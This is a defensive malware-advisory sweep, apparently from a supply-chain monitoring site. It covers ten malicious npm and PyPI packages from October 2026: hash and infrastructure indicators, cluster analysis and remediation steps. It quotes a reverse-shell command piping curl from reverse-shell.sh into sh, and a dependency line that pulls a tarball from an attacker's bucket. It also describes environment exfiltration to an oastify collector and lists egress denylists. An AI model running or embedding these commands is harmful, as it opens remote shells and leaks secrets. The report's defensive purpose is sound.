GitHub Advisory malware sweep - 2026-10-07 (wave-2 continuation of 2026-10-05 operators: npm `hardhat-init` pino-impersonator jsonspack sibling of yesterday`s `hardhat-roof`/`hardhat-plus`, npm `css-jptvix-polyfill` Wix dep-confusion recon + NEW `appsecc.com/js` reverse-shell second stage, npm `@pinecone-experience/messages@99.9.1` Pinecone-impersonator tarball-URL install-RCE from `ltidi` GCS bucket, 4-package npm `internallib_v23/30/86/875` RFC1918 `10.0.19.80` reverse-shell cluster, pypi `lore-cs` HackerOne-bugbounty dep-confusion probe, plus 2 CWE-506 boilerplate takedowns `@kxa/xbails` and `captchetat-angularv8`)

What happened

Between roughly 2026-10-06 11:00 UTC (end of yesterdays sweep window) and 2026-10-07 11:00 UTC, the GitHub Advisory Database (via OpenSSF malicious-packages, Amazon Inspectors IN-MAL feed, and kam193/bad-packages) published 10 fresh malware advisories: 1 pypi and 9 npm. The dominant feature of this window is wave-2 continuations of three operator families seen in yesterday`s 2026-10-05 sweep, with one of the continuations materially ESCALATING in payload capability.

The 10 advisories break into 6 clusters by operator profile and payload family:

Cluster A - npm hardhat-init pino-impersonator jsonspack sibling

hardhat-init versions >=2.21.0 (GHSA-w6mp-phr7-c2v5, published 2026-10-06). The package markets itself as "Hardhat initialization tooling" but ships a 1:1 copy of the pino loggers README/documentation as cover - the same pino-impersonator tactic used by yesterdays hardhat-roof/hardhat-plus/hardhat-jsx cluster (Cluster C, operator author string jsonspack.com). index.js requires lib/config.js, a heavily obfuscated 4.3MB blob with the obfuscator.io fingerprint (hex-escaped strings, nested index-lookup helpers, string-array shufflers, control-flow flattening); the IIFE at module load time means the payload runs on every require() without the consumer calling any API. Source SHA-256 e2f570102756d04aa466677488cd13aacac2eb941176523bc4ff024d214affbb.

Classify as malicious-package, severity high (confirmed obfuscated payload, direct continuation of a corpus-tracked operator; the sibling chai-as-testmode from yesterday`s Cluster C had confirmed base64 env-exfil, so Cluster A today inherits the same operator-level risk profile).

Cluster B - npm css-jptvix-polyfill Wix dep-confusion ESCALATED with appsecc.com/js reverse-shell

css-jptvix-polyfill@1.0.0 (GHSA-m6m7-6f4x-c5v3, published 2026-10-06). Uses the exact same thunderboltRegistry.js fingerprint and the same install-time recon template (id, whoami, env, ifconfig/ip addr) as yesterdays [26-package Wix dep-confusion cluster](/incident/multi-2026-10-05-ghsa-malware-sweep) (Cluster B). The ESCALATION: beyond the recon-only beacon, this one also POSTs the full environment (including tokens and secrets) to a Burp Collaborator endpoint https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, AND fetches and executes arbitrary JavaScript from https://appsecc.com/js as a reverse-shell second stage (labelled as such in the source). Source SHA-256 cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa`.

This is a real on-call priority bump for any org that had yesterday`s Wix dep-confusion names in its lockfiles - the same operator is now shipping real post-exploitation.

Classify as malicious-package, severity high (confirmed install-time env-exfil + reverse-shell execution).

Cluster C - npm @pinecone-experience/messages@99.9.1 Pinecone-impersonator tarball-URL install-RCE

@pinecone-experience/messages@99.9.1 (GHSA-px72-v3hv-7q87, published 2026-10-06). Impersonates the real Pinecone vector-database scope (@pinecone-database/*) with the lookalike @pinecone-experience scope. The sentinel version 99.9.1 sits well above any plausible internal release. The package.json declares a dependency on ltidisafe as a bare HTTPS tarball URL:

"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz"

This bypasses npms integrity verification entirely - whoever controls the ltidi GCS bucket can rotate the tarball between visits and get code execution with installer privileges every install. The main packages index.js is a stub (module.exports = {}); its sole purpose is to deliver ltidisafe on install. The path segment depenconf/ on the attacker`s bucket is a candid naming choice.

This is the exact same install-time RCE primitive as yesterdays [ultimate-websocket@1.0.0` (Cluster J)](/incident/multi-2026-10-05-ghsa-malware-sweep) - bare tarball-URL dependency pointing at an attacker-controlled unrelated location.

Classify as malicious-package, severity high (confirmed install-time RCE, mutable attacker-controlled payload bucket).

Cluster D - 4-package npm internallib_v<N> reverse-shell cluster at 10.0.19.80

All four export a command() function that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.19.80:<PORT> | sh" - target IP 10.0.19.80 across ports 443, 4443, and 8443. The internallib_v<N> naming convention and RFC1918 target mark this as an internal pentest / red-team engagement at a different victim org than yesterdays [internallib_v275@1.0.3 (Cluster F)](/incident/multi-2026-10-05-ghsa-malware-sweep) at 10.0.49.106:443. The operator-profile fingerprint (sequential _v<N> names + exported shell to RFC1918 via reverse-shell.sh`) is identical.

Any external org that happens to use the internallib_v<N> name on an internal registry is a candid dep-confusion exposure - the pentest tooling has no scoping to its target.

Classify as dependency-confusion, severity high (confirmed exported reverse-shell, pentest-pattern target with the pentest tooling publicly reachable).

Cluster E - pypi lore-cs@1.0.0 HackerOne-bugbounty dep-confusion probe

lore-cs@1.0.0 (GHSA-r95v-h8pf-wxhj, published 2026-10-07). OpenSSF classifies the package under its GENERIC-hackerone-bugbounty campaign - a probe that exfiltrates IP addresses and username on install/import, no destructive payload. Operator identifies as a HackerOne user running a bug-bounty program test. Source SHA-256 ae8b741b7c90400c3a5f4ba13533b1a6a75134f768934834b591c8df23eecb83.

Classify as dependency-confusion, severity medium (PROBABLY_BUGBOUNTY labelled by OpenSSF, no second-stage disclosed).

Cluster F - 2 npm CWE-506 boilerplate takedowns

• @kxa/xbails all versions (GHSA-7gvw-4c75-pc6p, published 2026-10-06) - no payload analysis
• captchetat-angularv8 all versions (GHSA-7crr-x792-cp3w, published 2026-10-06) - Angular captchetat captcha wrapper typosquat, no payload analysis

Both are GHSA auto-ingest boilerplate advisories: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved.

Classify respectively as malicious-package and typosquat, severity medium (CWE-506 takedown with no published analysis).

Registry state

All 10 packages in this sweep window are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

• appsecc.com/js reverse-shell second-stage - Cluster B
• orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com Burp Collaborator collector - Cluster B
• ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz - Cluster C (attacker-controlled, mutable)
• 10.0.19.80 RFC1918 across ports 443, 4443, 8443 with reverse-shell.sh - Cluster D
• OpenSSFs GENERIC-hackerone-bugbounty` campaign tag - Cluster E
• Source SHA-256s per package (listed in the Cluster D table above)

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages. Per-package IOC details drawn from GHSA advisory bodies published between 2026-10-06 11:00 UTC and 2026-10-07 11:00 UTC.

Affected packages (10)

Impact

• Cluster A - npm hardhat-init pino-impersonator (malicious-package, confirmed 4.3MB obfuscator.io payload - direct sibling of yesterdays hardhat-roof/hardhat-plus`): hardhat-init versions >=2.21.0 (GHSA-w6mp-phr7-c2v5). Package masquerades as "Hardhat initialization tooling" but reproduces the pino loggers documentation verbatim as cover. index.js requires lib/config.js, a heavily obfuscated 4.3MB blob (hex-escaped strings, nested index-lookup helpers, string-array shufflers - the obfuscator.io fingerprint identical to the [jsonspack.com operators hardhat-roof/hardhat-plus/hardhat-jsx cluster from 2026-10-05](/incident/multi-2026-10-05-ghsa-malware-sweep)) that executes immediately via an IIFE at module load time. Source SHA-256 e2f570102756d04aa466677488cd13aacac2eb941176523bc4ff024d214affbb. Classified malicious-package, severity high (confirmed obfuscated payload, direct continuation of a corpus-tracked operator)
• Cluster B - npm css-jptvix-polyfill Wix dep-confusion with NEW appsecc.com/js reverse-shell second stage (malicious-package, confirmed install-time recon + reverse-shell escalation beyond yesterday`s recon-only Cluster B): css-jptvix-polyfill version 1.0.0 (GHSA-m6m7-6f4x-c5v3). Uses the same thunderboltRegistry.js fingerprint and the same install-time recon template (id, whoami, env, ifconfig/ip addr) as yesterdays 26-package [Wix dep-confusion cluster](/incident/multi-2026-10-05-ghsa-malware-sweep), but adds an escalation: env output and the full recon payload are POSTed to a Burp Collaborator endpoint https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, AND the package fetches and executes arbitrary JavaScript from https://appsecc.com/js as a reverse-shell second stage. Source SHA-256 cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa. This is the same operator profile as yesterdays Wix dep-confusion wave BUT with a confirmed second-stage reverse-shell, so this one escalates from medium recon to high RCE. Classified malicious-package, severity high (confirmed install-time env-exfil + reverse-shell execution)
• Cluster C - npm @pinecone-experience/messages@99.9.1 Pinecone-impersonator tarball-URL install-RCE (malicious-package, confirmed install-time RCE via bare tarball-URL dependency on ltidi GCS bucket): @pinecone-experience/messages version 99.9.1 (GHSA-px72-v3hv-7q87). Impersonates the real @pinecone-database/* scope with the lookalike @pinecone-experience scope. The package.json declares a dependency on ltidisafe as a bare HTTPS tarball URL https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz - bypassing npms integrity verification and allowing whoever controls that ltidi Google Cloud Storage bucket to execute code with installer privileges on every install. The package itself is a stub (module.exports = {}), confirming the sole purpose is delivering ltidisafe on install. The sentinel version 99.9.1 and the depenconf/ path on the attacker-controlled bucket make this a classic dep-confusion-via-tarball-URL - same primitive pattern as yesterdays ultimate-websocket@1.0.0 (Cluster J). Classified malicious-package, severity high (confirmed install-time RCE path, mutable attacker-controlled payload bucket)
• Cluster D - 4-package npm internallib_v23/30/86/875 reverse-shell cluster to RFC1918 10.0.19.80 (dependency-confusion, confirmed exported reverse-shell function - continuation of yesterdays internallib_v275` operator at new C2 subnet): internallib_v23@1.0.1 (GHSA-hpq7-6v2v-xmq3), internallib_v30@1.0.1 (GHSA-rqhh-xrhc-wr23), internallib_v86@<=1.0.2 (GHSA-5q3r-2hm2-jm3j), internallib_v875@1.0.1 (GHSA-pjcv-xqxg-cv9j). All four export the same command() function that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.19.80:<PORT> | sh" - target IP 10.0.19.80 across ports 443, 4443 and 8443. The 10.0.19.80 RFC1918 target and the internallib_v<N> naming convention mark this as an internal pentest / red-team engagement at a different victim org than yesterdays [internallib_v275@1.0.3 (Cluster F)](/incident/multi-2026-10-05-ghsa-malware-sweep) which hit 10.0.49.106:443 - but the operator-profile fingerprint (internallib_v<N> + exported shell to RFC1918 via reverse-shell.sh) is identical. SHA-256 per advisory: bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 (v23), 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe (v30), 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 (v86), a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 (v875). Classified dependency-confusion, severity high` (confirmed reverse-shell export, pentest-pattern target)
• Cluster E - pypi lore-cs@1.0.0 HackerOne-bugbounty dep-confusion probe (dependency-confusion, confirmed install/import-time IP+username beacon, PROBABLY_BUGBOUNTY labelled by OpenSSF): lore-cs@1.0.0 (GHSA-r95v-h8pf-wxhj). OpenSSF campaign tag GENERIC-hackerone-bugbounty. The operator identifies as a HackerOne user running a bug-bounty program test; package exfiltrates IP address and username on install OR import. No destructive payload disclosed. SHA-256 ae8b741b7c90400c3a5f4ba13533b1a6a75134f768934834b591c8df23eecb83. Classified dependency-confusion, severity medium (PROBABLY_BUGBOUNTY labelled, recon-only)
• Cluster F - 2 npm CWE-506 boilerplate takedowns (typosquat/malicious-package, no payload analysis published): @kxa/xbails all versions (GHSA-7gvw-4c75-pc6p) and captchetat-angularv8 all versions (GHSA-7crr-x792-cp3w). Both are GHSA auto-ingest boilerplate advisories: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved. captchetat-angularv8 typosquats the real Angular captchetat captcha wrapper family. Treat as confirmed takedowns, severity within sweep medium because no analysis published and both packages are already registry-pulled
• Operator continuity check: todays window is dominated by wave-2 continuations of three operator families seen in yesterdays 2026-10-05 sweep. The jsonspack.com pino-impersonator (Cluster A) is now at wave 2 (hardhat-init after yesterdays hardhat-roof/hardhat-plus/hardhat-jsx). The Wix dep-confusion operator (Cluster B) is at wave 2 with a REAL ESCALATION - yesterdays wave was recon-only, todays css-jptvix-polyfill adds appsecc.com/js reverse-shell execution and should raise the on-call priority for any org that saw yesterdays Wix dep-confusion names in its lockfiles. The internallib_v<N> RFC1918 reverse-shell operator (Cluster D) is at wave 2 against a different victim subnet (10.0.19.80 today, 10.0.49.106 yesterday). The Pinecone-impersonator Cluster C @pinecone-experience/messages is NEW to the corpus; the ltidi.storage.googleapis.com/depenconf/ tarball-URL path is the same primitive as yesterdays ultimate-websocket (Cluster J). Yesterdays broader operator profiles - hellscripter/gitflic.ru (2026-10-05 Cluster A), the 4444.vbs ChaCha20 loader (2026-10-05 Cluster D), the Oleh-Modal wallet-phishing operator (2026-10-05 Cluster I), the 25-gem RubyGems Ethereum/crypto wgkit cluster, the zencleaner/virgil-cli 2026-10-06 operators, and the 2026-10-voxeval cryptominer campaign - are all QUIET today. The amel10, jexkcode/noverojs, spo365-graph, Graphalgo, donutautosellsrc/aseity*, kartyk*, tailwind-forms-kit, chinazhangsan.ccwu.cc, bfox-build-utils, fabric-loader-core/mfahelper, and zeal-utils/aveliscare operators are also QUIET today

What to do

1. 1For Cluster A (hardhat-init pino-impersonator): grep every package.json, package-lock.json, yarn.lock, pnpm-lock.yaml for hardhat-init at >=2.21.0. If you already removed hardhat-roof/hardhat-plus/hardhat-jsx from the 2026-10-05 sweep, add hardhat-init to the same denylist entry under the same jsonspack.com operator profile. On hit, treat the dev workstation as potentially executed-against: rotate npm tokens, GitHub tokens, SSH keys, any .env/.npmrc secrets, and inspect for post-exploitation; the obfuscator.io blobs runtime capabilities are not fully enumerated but the sibling packages from yesterdays Cluster C showed env-exfil behaviour. Hold the public-npm name hardhat-init with a placeholder package at a high version to deny this slug permanently
2. 2For Cluster B (css-jptvix-polyfill Wix dep-confusion + appsecc.com reverse-shell): this one escalates beyond yesterdays recon-only Wix Cluster B. Grep for css-jptvix-polyfill across lockfiles. On hit, assume the installer host executed arbitrary JavaScript from appsecc.com/js with Node privileges AND leaked environment variables to orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com. Rotate all environment-captured credentials. Add appsecc.com and the .oastify.com collector to the CI/build-host egress denylist (block the whole .oastify.com apex if your org does not legitimately run Burp Collaborator engagements). If your org publishes any css-*-polyfill` style names on an internal registry, scope-lock the internal registry and hold the public name with a placeholder
3. 3For Cluster C (@pinecone-experience/messages@99.9.1 Pinecone tarball-URL RCE): grep for @pinecone-experience/messages across lockfiles. On hit, assume the installer host executed whatever payload the ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz bucket served at install time. Rotate npm, GitHub, cloud, and SSH credentials from the installer host. Block the ltidi.storage.googleapis.com bucket and the storage.googleapis.com/depenconf/ path prefix at egress. If your org legitimately publishes under @pinecone-database/* (the real Pinecone scope), hold the public @pinecone-experience/* scope with a placeholder package at a plausibly-high version to deny this slug permanently. The use of 99.9.1 as a sentinel in a vendor-looking lookalike scope is the dep-confusion fingerprint to flag
4. 4For Cluster D (4-package internallib_v23/30/86/875 RFC1918 reverse-shell): these are almost certainly a different victim orgs internal pentest / red-team engagement (same operator-profile fingerprint as yesterdays internallib_v275). If your org operates on the 10.0.19.0/24 or 10.0.19.80 specifically and the engagement is NOT yours, treat each of these packages as evidence of an unauthorised dep-confusion probe landing on your internal registry name. If this IS your engagement, de-register the sentinel-version public packages by replacing them with placeholder legitimate releases under your real internal namespace. Any external org that happens to use the internallib_v<N> name is still exposed - uninstall + rebuild from scope-locked registry
5. 5For Cluster E (lore-cs pypi): grep every requirements.txt, pyproject.toml, Pipfile.lock, poetry.lock for lore-cs. On hit uninstall. If this was in fact a HackerOne bug-bounty engagement your org commissioned, de-register the OpenSSF probe by replacing the sentinel with a legitimate placeholder under your real internal namespace. No destructive payload disclosed by OpenSSF so no immediate credential-rotation action required beyond uninstall
6. 6For Cluster F (CWE-506 boilerplate takedowns @kxa/xbails, captchetat-angularv8): grep lockfiles for both names. On hit, uninstall, delete node_modules, delete the lockfile, rebuild from a scope-locked registry. Developers who meant the real captchetat captcha wrapper family (Angular v8-era) autocompleted the wrong name - fix the autocomplete and teach the real spelling. No specific IOC published for either, so no egress blocklist entry today
7. 7NEW outbound denylist entries for CI/build-host egress proxies today: appsecc.com and appsecc.com/js (Cluster B reverse-shell second-stage); orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com and ideally the whole *.oastify.com apex (Cluster B OAST collector - block unless legitimately running Burp Collaborator); ltidi.storage.googleapis.com and the storage.googleapis.com/depenconf/ path (Cluster C Pinecone tarball-URL bucket); reverse-shell.sh already covered; 10.0.19.0/24 RFC1918 - block egress to any RFC1918 from CI/build hosts anyway. Keep prior egress blocks in place: api.nm-streetwear.space and nm-streetwear.space apex (2026-10-06 Cluster B), discord.com/api/webhooks (2026-10-06 Cluster A unless legitimately used), ipify.org + ifconfig.me (2026-10-06 Cluster A IP-enrichment), gitflic.ru and web.archive.org/web/https://gitflic.ru/* (2026-10-05 Cluster A), api.wagmiwallet.org (2026-10-05 Cluster I), backend-cybersecuritydashboard.onrender.com (2026-10-05 Cluster G), 10.0.49.106:443 (2026-10-05 Cluster F reverse-shell), Monero mining pools (2026-10-04 Cluster A voxeval), Ethereum mainnet / Sepolia / Arbitrum Sepolia RPC, chinazhangsan.ccwu.cc, api.npoint.io, api.telegram.org, fabric-npm.gm-service.xyz, jsonkeeper.com, trktgq0wbre1, npm-canary.aveliscare.com, Polygon RPC, meta.brs.cx, s3://pkusinski-external/, AWS account 631484165566, Slack bot-token exfil, s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook, and the 45.138.0.0/16 RubyGems wgkit CIDRs

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• GHSA-w6mp-phr7-c2v5 - npm hardhat-init (Cluster A - pino-impersonator jsonspack sibling)

  github.com
  GitHub
• GHSA-m6m7-6f4x-c5v3 - npm css-jptvix-polyfill (Cluster B - Wix dep-confusion ESCALATED with appsecc.com/js reverse-shell)

  github.com
  GitHub
• GHSA-px72-v3hv-7q87 - npm @pinecone-experience/messages (Cluster C - Pinecone-impersonator tarball-URL install-RCE)

  github.com
  GitHub
• GHSA-hpq7-6v2v-xmq3 - npm internallib_v23 (Cluster D - RFC1918 10.0.19.80:4443 reverse-shell)

  github.com
  GitHub
• GHSA-rqhh-xrhc-wr23 - npm internallib_v30 (Cluster D - RFC1918 10.0.19.80:8443 reverse-shell)

  github.com
  GitHub
• GHSA-5q3r-2hm2-jm3j - npm internallib_v86 (Cluster D - RFC1918 10.0.19.80:443 reverse-shell)

  github.com
  GitHub
• GHSA-pjcv-xqxg-cv9j - npm internallib_v875 (Cluster D - RFC1918 10.0.19.80:8443 reverse-shell)

  github.com
  GitHub
• GHSA-r95v-h8pf-wxhj - pypi lore-cs (Cluster E - OpenSSF GENERIC-hackerone-bugbounty probe)

  github.com
  GitHub
• GHSA-7gvw-4c75-pc6p - npm @kxa/xbails (Cluster F - CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-7crr-x792-cp3w - npm captchetat-angularv8 (Cluster F - CWE-506 boilerplate, Angular captchetat typosquat)

  github.com
  GitHub
• DependencyWatch: multi-2026-10-05-ghsa-malware-sweep (operator continuity: jsonspack pino-impersonator Cluster C, Wix dep-confusion Cluster B, internallib Cluster F, ultimate-websocket Cluster J)

  dependencywatch.io